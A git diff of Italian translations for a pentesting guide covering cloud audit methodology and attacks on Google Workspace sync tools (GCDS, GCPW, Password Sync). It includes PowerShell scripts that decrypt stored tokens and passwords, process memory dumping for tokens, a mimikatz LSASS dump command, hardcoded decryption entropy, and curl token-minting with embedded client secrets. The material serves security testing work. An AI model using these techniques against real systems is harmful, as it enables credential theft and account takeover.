- Qui dovresti **scoprire tutti i permessi di ciascun ruolo/utente** all'interno del cloud e come vengono utilizzati
- Troppi account **altamente privilegiati** (controllano tutto)? Chiavi generate non utilizzate?... La maggior parte di questi controlli dovrebbe già essere stata effettuata nei test di benchmark
- Se il cliente sta utilizzando OpenID o SAML o altra **federazione**, potresti dover chiedere ulteriori **informazioni** su **come viene assegnato ciascun ruolo** (non è la stessa cosa che il ruolo di admin sia assegnato a 1 utente o a 100)
- Se il cliente sta utilizzando OpenID o SAML o altra **federazione**, potresti dover chiedere ulteriori **informazioni** su **come viene assegnato ciascun ruolo** (non è la stessa cosa se il ruolo di admin è assegnato a 1 utente o a 100)
- Non è **sufficiente trovare** quali utenti hanno permessi **admin** "\*:\*". Ci sono molti **altri permessi** che a seconda dei servizi utilizzati possono essere molto **sensibili**.
- Inoltre, ci sono **potenziali vie di privesc** da seguire abusando dei permessi. Tutte queste cose dovrebbero essere prese in considerazione e **quante più vie di privesc possibili** dovrebbero essere segnalate.
- Inoltre, ci sono **potenziali vie di privesc** da seguire abusando dei permessi. Tutte queste cose dovrebbero essere prese in considerazione e **dovrebbero essere segnalati il maggior numero possibile di percorsi privesc**.
- **Controlla le integrazioni**
- È altamente probabile che **integrazioni con altri cloud o SaaS** siano utilizzate all'interno dell'ambiente cloud.
- Per le **integrazioni del cloud che stai auditando** con altre piattaforme, dovresti notificare **chi ha accesso a (ab)usare quell'integrazione** e dovresti chiedere **quanto è sensibile** l'azione che viene eseguita.\
Ad esempio, chi può scrivere in un bucket AWS da cui GCP sta estraendo dati (chiedi quanto è sensibile l'azione in GCP che tratta quei dati).
- Per le **integrazioni all'interno del cloud che stai auditando** da piattaforme esterne, dovresti chiedere **chi ha accesso esternamente a (ab)usare quell'integrazione** e controllare come vengono utilizzati quei dati.\
- Per le **integrazioni del cloud che stai auditando** con altre piattaforme, dovresti notificare **chi ha accesso per (ab)usare quell'integrazione** e dovresti chiedere **quanto è sensibile** l'azione che viene eseguita.\
Ad esempio, chi può scrivere in un bucket AWS da cui GCP sta estraendo dati (chiedi quanto è sensibile l'azione in GCP trattando quei dati).
- Per le **integrazioni all'interno del cloud che stai auditando** da piattaforme esterne, dovresti chiedere **chi ha accesso esternamente per (ab)usare quell'integrazione** e controllare come vengono utilizzati quei dati.\
Ad esempio, se un servizio sta utilizzando un'immagine Docker ospitata in GCR, dovresti chiedere chi ha accesso a modificarla e quali informazioni sensibili e accesso avrà quell'immagine quando viene eseguita all'interno di un cloud AWS.
## Strumenti Multi-Cloud
@@ -38,7 +38,7 @@ Ci sono diversi strumenti che possono essere utilizzati per testare diversi ambi
### [PurplePanda](https://github.com/carlospolop/purplepanda)
Uno strumento per **identificare cattive configurazioni e vie di privesc nei cloud e tra cloud/SaaS.**
Uno strumento per **identificare cattive configurazioni e percorsi di privesc nei cloud e tra cloud/SaaS.**
{{#tabs }}
{{#tab name="Install" }}
@@ -115,7 +115,7 @@ npm install
AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure
{{#tabs }}
{{#tab name="Installa" }}
{{#tab name="Install" }}
```bash
mkdir scout; cd scout
virtualenv -p python3 venv
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
### [**starbase**](https://github.com/JupiterOne/starbase)
Starbase raccoglie asset e relazioni da servizi e sistemi, inclusi infrastrutture cloud, applicazioni SaaS, controlli di sicurezza e altro, in una vista grafica intuitiva supportata dal database Neo4j.
Starbase raccoglie asset e relazioni da servizi e sistemi, inclusa l'infrastruttura cloud, applicazioni SaaS, controlli di sicurezza e altro, in una vista grafica intuitiva supportata dal database Neo4j.
{{#tabs }}
{{#tab name="Install" }}
@@ -362,7 +362,7 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk)
Scopri gli utenti più privilegiati nell'ambiente AWS o Azure scansionato, inclusi gli AWS Shadow Admins. Utilizza PowerShell.
```powershell
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
@@ -412,7 +412,7 @@ azure-security/
### Attack Graph
[**Stormspotter** ](https://github.com/Azure/Stormspotter) crea un “grafico di attacco” delle risorse in un abbonamento Azure. Consente ai red team e ai pentester di visualizzare la superficie di attacco e le opportunità di pivot all'interno di un tenant, e potenzia i tuoi difensori per orientarsi rapidamente e dare priorità al lavoro di risposta agli incidenti.
[**Stormspotter** ](https://github.com/Azure/Stormspotter) crea un “grafico di attacco” delle risorse in un abbonamento Azure. Consente ai team rossi e ai pentester di visualizzare la superficie di attacco e le opportunità di pivot all'interno di un tenant, e potenzia i tuoi difensori per orientarsi rapidamente e dare priorità al lavoro di risposta agli incidenti.
### Office365

14
src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md
View File

@@ -4,17 +4,17 @@
## Informazioni di base
Questo è uno strumento che può essere utilizzato per **synchronizzare gli utenti e i gruppi del tuo Active Directory con il tuo Workspace** (e non viceversa al momento della scrittura).
Questo è uno strumento che può essere utilizzato per **sincronizzare gli utenti e i gruppi della tua active directory con il tuo Workspace** (e non viceversa al momento della scrittura).
È interessante perché è uno strumento che richiederà le **credenziali di un superutente di Workspace e di un utente AD privilegiato**. Quindi, potrebbe essere possibile trovarlo all'interno di un server di dominio che sincronizza gli utenti di tanto in tanto.
> [!NOTE]
> Per eseguire un **MitM** sul binario **`config-manager.exe`**, aggiungi semplicemente la seguente riga nel file `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`**
> Per eseguire un **MitM** sul binario **`config-manager.exe`** basta aggiungere la seguente riga nel file `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`**
> [!TIP]
> Nota che [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) è in grado di rilevare **GCDS**, ottenere informazioni sulla configurazione e **anche le password e le credenziali crittografate**.
Nota anche che GCDS non sincronizzerà le password da AD a Workspace. Se qualcosa, genererà solo password casuali per gli utenti appena creati in Workspace, come puoi vedere nell'immagine seguente:
Nota anche che GCDS non sincronizzerà le password da AD a Workspace. Se qualcosa, genererà solo password casuali per gli utenti appena creati in Workspace come puoi vedere nell'immagine seguente:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
@@ -54,7 +54,7 @@ Nota come il **refresh** **token** e la **password** dell'utente siano **criptat
<details>
<summary>Script Powershell per decriptare il refresh token e la password</summary>
```powershell
```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
@@ -150,19 +150,19 @@ Write-Host "Decrypted Password: $decryptedPassword"
</details>
> [!NOTE]
> Tieni presente che è possibile controllare queste informazioni esaminando il codice java di **`DirSync.jar`** da **`C:\Program Files\Google Cloud Directory Sync`** cercando la stringa `exportkeys` (poiché è il parametro cli che il binario `upgrade-config.exe` si aspetta per estrarre le chiavi).
> Nota che è possibile controllare queste informazioni esaminando il codice java di **`DirSync.jar`** da **`C:\Program Files\Google Cloud Directory Sync`** cercando la stringa `exportkeys` (poiché è il parametro cli che il binario `upgrade-config.exe` si aspetta per estrarre le chiavi).
Invece di utilizzare lo script powershell, è anche possibile utilizzare il binario **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** con il parametro `-exportKeys` e ottenere la **Key** e **IV** dal registro in esadecimale e poi utilizzare CyberChef con AES/CBC e quella chiave e IV per decrittografare le informazioni.
### GCDS - Dumping tokens from memory
Proprio come con GCPW, è possibile estrarre la memoria del processo del `config-manager.exe` (è il nome del binario principale di GCDS con GUI) e sarai in grado di trovare i token di refresh e accesso (se sono già stati generati).\
Proprio come con GCPW, è possibile estrarre la memoria del processo `config-manager.exe` (è il nome del binario principale di GCDS con GUI) e sarai in grado di trovare i token di refresh e accesso (se sono già stati generati).\
Immagino che tu possa anche trovare le credenziali configurate di AD.
<details>
<summary>Dump config-manager.exe processes and search tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"

48
src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md
View File

@@ -4,7 +4,7 @@
## Informazioni di base
Questo è il single sign-on fornito da Google Workspaces affinché gli utenti possano accedere ai loro PC Windows utilizzando **le loro credenziali di Workspace**. Inoltre, questo memorizzerà i token per accedere a Google Workspace in alcune posizioni nel PC.
Questo è il single sign-on fornito da Google Workspaces affinché gli utenti possano accedere ai propri PC Windows utilizzando **le proprie credenziali di Workspace**. Inoltre, questo memorizzerà i token per accedere a Google Workspace in alcune posizioni nel PC.
> [!TIP]
> Nota che [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) è in grado di rilevare **GCPW**, ottenere informazioni sulla configurazione e **anche token**.
@@ -27,20 +27,18 @@ scope=https://www.google.com/accounts/OAuthLogin
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome
```
Nuove righe sono state aggiunte per renderlo più leggibile.
> [!NOTE]
> È stato possibile eseguire un MitM installando `Proxifier` nel PC, sovrascrivendo il binario `utilman.exe` con un `cmd.exe` ed eseguendo le **funzionalità di accessibilità** nella pagina di accesso di Windows, che eseguirà un **CMD** da cui puoi **lanciare e configurare il Proxifier**.\
> Non dimenticare di **bloccare il traffico QUICK UDP** in `Proxifier` in modo che venga degradato a comunicazione TCP e tu possa vederlo.
>
> Configura anche in "Serviced and other users" entrambe le opzioni e installa il certificato Burp CA in Windows.
> Configura anche in "Serviced and other users" entrambe le opzioni e installa il certificato CA di Burp in Windows.
Inoltre, aggiungendo le chiavi `enable_verbose_logging = 1` e `log_file_path = C:\Public\gcpw.log` in **`HKLM:\SOFTWARE\Google\GCPW`** è possibile farlo memorizzare alcuni log.
Inoltre, aggiungendo le chiavi `enable_verbose_logging = 1` e `log_file_path = C:\Public\gcpw.log` in **`HKLM:\SOFTWARE\Google\GCPW`** è possibile far sì che vengano memorizzati alcuni log.
### GCPW - Fingerprint
È possibile verificare se GCPW è installato in un dispositivo controllando se il seguente processo esiste o se le seguenti chiavi di registro esistono:
```powershell
È possibile verificare se GCPW è installato in un dispositivo controllando se esiste il seguente processo o se esistono le seguenti chiavi di registro:
```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
@@ -66,10 +64,10 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
```
In **`HKCU:\SOFTWARE\Google\Accounts`** è possibile accedere all'email dell'utente e al **refresh token** crittografato se l'utente ha effettuato di recente l'accesso.
In **`HKLM:\SOFTWARE\Google\GCPW\Users`** è possibile trovare i **domini** che sono autorizzati ad accedere nella chiave `domains_allowed` e nelle sottochiavi è possibile trovare informazioni sull'utente come email, immagine, nome utente, durata dei token, gestore dei token...
In **`HKLM:\SOFTWARE\Google\GCPW\Users`** è possibile trovare i **domini** che sono autorizzati ad accedere nella chiave `domains_allowed` e nelle sottochiavi è possibile trovare informazioni sull'utente come email, immagine, nome utente, durata dei token, handle del token...
> [!NOTE]
> Il gestore del token è un token che inizia con `eth.` e dal quale è possibile estrarre alcune informazioni con una richiesta come:
> L'handle del token è un token che inizia con `eth.` e dal quale è possibile estrarre alcune informazioni con una richiesta come:
>
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
@@ -82,7 +80,7 @@ In **`HKLM:\SOFTWARE\Google\GCPW\Users`** è possibile trovare i **domini** che
> }
> ```
>
> Inoltre è possibile trovare il gestore del token di un access token con una richiesta come:
> Inoltre è possibile trovare l'handle del token di un access token con una richiesta come:
>
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
@@ -98,20 +96,20 @@ In **`HKLM:\SOFTWARE\Google\GCPW\Users`** è possibile trovare i **domini** che
> }
> ```
>
> A quanto ne so, non è possibile ottenere un refresh token o un access token dal gestore del token.
> A quanto ne so, non è possibile ottenere un refresh token o un access token dall'handle del token.
Inoltre, il file **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** è un json che contiene le informazioni di diverse **impostazioni** come `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (se più utenti di Workspace possono accedere al computer) e `validityPeriodDays` (numero di giorni in cui un utente non deve ri-autenticarsi direttamente con Google).
## GCPW - Ottieni Token
### GCPW - Token di Aggiornamento del Registro
### GCPW - Registry Refresh Tokens
All'interno del registro **`HKCU:\SOFTWARE\Google\Accounts`** potrebbe essere possibile trovare alcuni account con il **`refresh_token`** crittografato all'interno. Il metodo **`ProtectedData.Unprotect`** può facilmente decrittografarlo.
<details>
<summary>Ottieni <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> dati e decrittografa refresh_tokens</summary>
```powershell
```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
@@ -182,12 +180,12 @@ Si può osservare che viene utilizzato AESGCM, il token crittografato inizia con
### GCPW - Dumping dei token dalla memoria dei processi
Lo script seguente può essere utilizzato per **dumpare** ogni processo **Chrome** utilizzando `procdump`, estrarre le **stringhe** e poi **cercare** stringhe relative ai **token di accesso e di aggiornamento**. Se Chrome è connesso a qualche sito Google, alcuni **processi memorizzeranno token di aggiornamento e/o di accesso in memoria!**
Il seguente script può essere utilizzato per **dumpare** ogni processo **Chrome** utilizzando `procdump`, estrarre le **stringhe** e poi **cercare** stringhe relative ai **token di accesso e di aggiornamento**. Se Chrome è connesso a qualche sito Google, alcuni **processi memorizzeranno token di aggiornamento e/o di accesso in memoria!**
<details>
<summary>Dump dei processi Chrome e ricerca dei token</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -262,11 +260,11 @@ Remove-Item -Path $dumpFolder -Recurse -Force
Ho provato lo stesso con `gcpw_extension.exe` ma non ha trovato alcun token.
Per qualche motivo, **alcuni token di accesso estratti non saranno validi (anche se alcuni lo saranno)**. Ho provato il seguente script per rimuovere i caratteri uno per uno per cercare di ottenere il token valido dal dump. Non mi ha mai aiutato a trovare uno valido, ma potrebbe, suppongo:
Per qualche motivo, **alcuni token di accesso estratti non saranno validi (anche se alcuni lo saranno)**. Ho provato il seguente script per rimuovere i caratteri uno alla volta per cercare di ottenere il token valido dal dump. Non mi ha mai aiutato a trovare uno valido, ma potrebbe, suppongo:
<details>
<summary>Controlla il token di accesso rimuovendo i caratteri uno per uno</summary>
<summary>Controlla il token di accesso rimuovendo i caratteri uno alla volta</summary>
```bash
#!/bin/bash
@@ -301,7 +299,7 @@ echo "Error: Token invalid or too short"
### GCPW - Generazione di token di accesso dai token di aggiornamento
Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo insieme all'ID client e al segreto client specificati nel seguente comando:
Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo e l'ID client e il segreto client specificati nel seguente comando:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
@@ -587,11 +585,11 @@ https://www.googleapis.com/oauth2/v4/token
```
</details>
Alcuni esempi utilizzando alcuni di quei scope:
Alcuni esempi utilizzando alcuni di questi ambiti:
<details>
<summary>https://www.googleapis.com/auth/userinfo.email &#x26; https://www.googleapis.com/auth/userinfo.profile</summary>
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
@@ -795,17 +793,17 @@ More [API endpoints in the docs](https://developers.google.com/vault/reference/r
</details>
## GCPW - Recuperare la password in chiaro
## GCPW - Recupero della password in chiaro
Per abusare di GCPW per recuperare la password in chiaro, è possibile estrarre la password crittografata da **LSASS** utilizzando **mimikatz**:
```bash
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
```
Poi cerca il segreto come `Chrome-GCPW-<sid>` come nell'immagine:
Cerca quindi il segreto come `Chrome-GCPW-<sid>` come nell'immagine:
<figure><img src="../../../images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure>
Poi, con un **access token** con l'ambito `https://www.google.com/accounts/OAuthLogin`, è possibile richiedere la chiave privata per decrittare la password:
Poi, con un **access token** con il scope `https://www.google.com/accounts/OAuthLogin`, è possibile richiedere la chiave privata per decrittare la password:
<details>
@@ -887,8 +885,8 @@ decrypt_password(access_token, lsa_secret)
È possibile trovare i componenti chiave di questo nel codice sorgente di Chromium:
- Dominio API: [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22&type=code)
- Endpoint API: [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70)
- API domain: [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22&type=code)
- API endpoint: [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70)
## Riferimenti

18
src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md
View File

@@ -20,7 +20,7 @@ Per configurare questo binario (e servizio), è necessario **dargli accesso a un
- Google lo richiede per i domini controllati senza GUI
- Queste credenziali sono anche memorizzate nel registro
Per quanto riguarda l'AD, è possibile indicare di utilizzare il **contesto delle applicazioni attuali, anonimo o alcune credenziali specifiche**. Se viene selezionata l'opzione credenziali, il **nome utente** è memorizzato all'interno di un file nel **disco** e la **password** è **crittografata** e memorizzata nel **registro**.
Per quanto riguarda l'AD, è possibile indicare di utilizzare il **contesto delle applicazioni attuali, anonimo o alcune credenziali specifiche**. Se viene selezionata l'opzione delle credenziali, il **nome utente** è memorizzato all'interno di un file nel **disco** e la **password** è **crittografata** e memorizzata nel **registro**.
### GPS - Dumping password e token dal disco
@@ -29,9 +29,9 @@ Per quanto riguarda l'AD, è possibile indicare di utilizzare il **contesto dell
Nel file **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** è possibile trovare parte della configurazione come il **`baseDN`** dell'AD configurato e il **`username`** le cui credenziali vengono utilizzate.
Nel registro **`HKLM\Software\Google\Google Apps Password Sync`** è possibile trovare il **refresh token crittografato** e la **password crittografata** per l'utente AD (se presente). Inoltre, se invece di un token, vengono utilizzate alcune **credenziali SA**, è anche possibile trovare quelle crittografate in quell'indirizzo di registro. I **valori** all'interno di questo registro sono accessibili solo dagli **Amministratori**.
Nel registro **`HKLM\Software\Google\Google Apps Password Sync`** è possibile trovare il **refresh token crittografato** e la **password crittografata** per l'utente AD (se presente). Inoltre, se invece di un token, vengono utilizzate alcune **credenziali SA**, è anche possibile trovarle crittografate in quell'indirizzo di registro. I **valori** all'interno di questo registro sono accessibili solo dagli **Amministratori**.
La **password crittografata** (se presente) si trova all'interno della chiave **`ADPassword`** ed è crittografata utilizzando l'API **`CryptProtectData`**. Per decrittografarla, è necessario essere lo stesso utente di quello che ha configurato la sincronizzazione della password e utilizzare questa **entropia** quando si utilizza **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
La **password** crittografata (se presente) si trova all'interno della chiave **`ADPassword`** ed è crittografata utilizzando l'API **`CryptProtectData`**. Per decrittografarla, è necessario essere lo stesso utente di quello che ha configurato la sincronizzazione della password e utilizzare questa **entropia** quando si utilizza **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
Il token crittografato (se presente) si trova all'interno della chiave **`AuthToken`** ed è crittografato utilizzando l'API **`CryptProtectData`**. Per decrittografarlo, è necessario essere lo stesso utente di quello che ha configurato la sincronizzazione della password e utilizzare questa **entropia** quando si utilizza **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
Inoltre, è anche codificato utilizzando base32hex con il dizionario **`0123456789abcdefghijklmnopqrstv`**.
@@ -40,19 +40,19 @@ I valori di entropia sono stati trovati utilizzando lo strumento. È stato confi
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
Nota che è anche possibile vedere i valori **decrittografati** nell'input o output delle chiamate a queste API anche (nel caso in cui a un certo punto Winpeas smetta di funzionare).
Nota che è anche possibile vedere i valori **decrittografati** negli input o output delle chiamate a queste API (nel caso in cui a un certo punto Winpeas smetta di funzionare).
Nel caso in cui la sincronizzazione della password fosse **configurata con credenziali SA**, sarà anche memorizzata in chiavi all'interno del registro **`HKLM\Software\Google\Google Apps Password Sync`**.
### GPS - Dumping token dalla memoria
Proprio come con GCPW, è possibile dumpare la memoria del processo di `PasswordSync.exe` e dei processi `password_sync_service.exe` e sarà possibile trovare refresh e access token (se sono già stati generati).\
Proprio come con GCPW, è possibile dumpare la memoria del processo di `PasswordSync.exe` e dei processi `password_sync_service.exe` e sarà possibile trovare refresh e access tokens (se sono già stati generati).\
Immagino che tu possa anche trovare le credenziali AD configurate.
<details>
<summary>Dump <code>PasswordSync.exe</code> e i processi <code>password_sync_service.exe</code> e cerca i token</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
@@ -129,7 +129,7 @@ Write-Output ""
### GPS - Generazione di token di accesso dai token di aggiornamento
Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo e l'ID client e il segreto client specificati nel seguente comando:
Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo insieme all'ID client e al segreto client specificati nel seguente comando:
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
@@ -140,11 +140,11 @@ https://www.googleapis.com/oauth2/v4/token
### GPS - Scopes
> [!NOTE]
> Nota che anche avendo un refresh token, non è possibile richiedere alcuno scope per il token di accesso poiché puoi richiedere solo gli **scopes supportati dall'applicazione in cui stai generando il token di accesso**.
> Nota che anche avendo un refresh token, non è possibile richiedere alcuno scope per il token di accesso poiché puoi richiedere solo gli **scope supportati dall'applicazione in cui stai generando il token di accesso**.
>
> Inoltre, il refresh token non è valido in ogni applicazione.
Per impostazione predefinita, GPS non avrà accesso come utente a ogni possibile scope OAuth, quindi utilizzando il seguente script possiamo trovare gli scopes che possono essere utilizzati con il `refresh_token` per generare un `access_token`:
Per impostazione predefinita, GPS non avrà accesso come utente a ogni possibile scope OAuth, quindi utilizzando il seguente script possiamo trovare gli scope che possono essere utilizzati con il `refresh_token` per generare un `access_token`:
<details>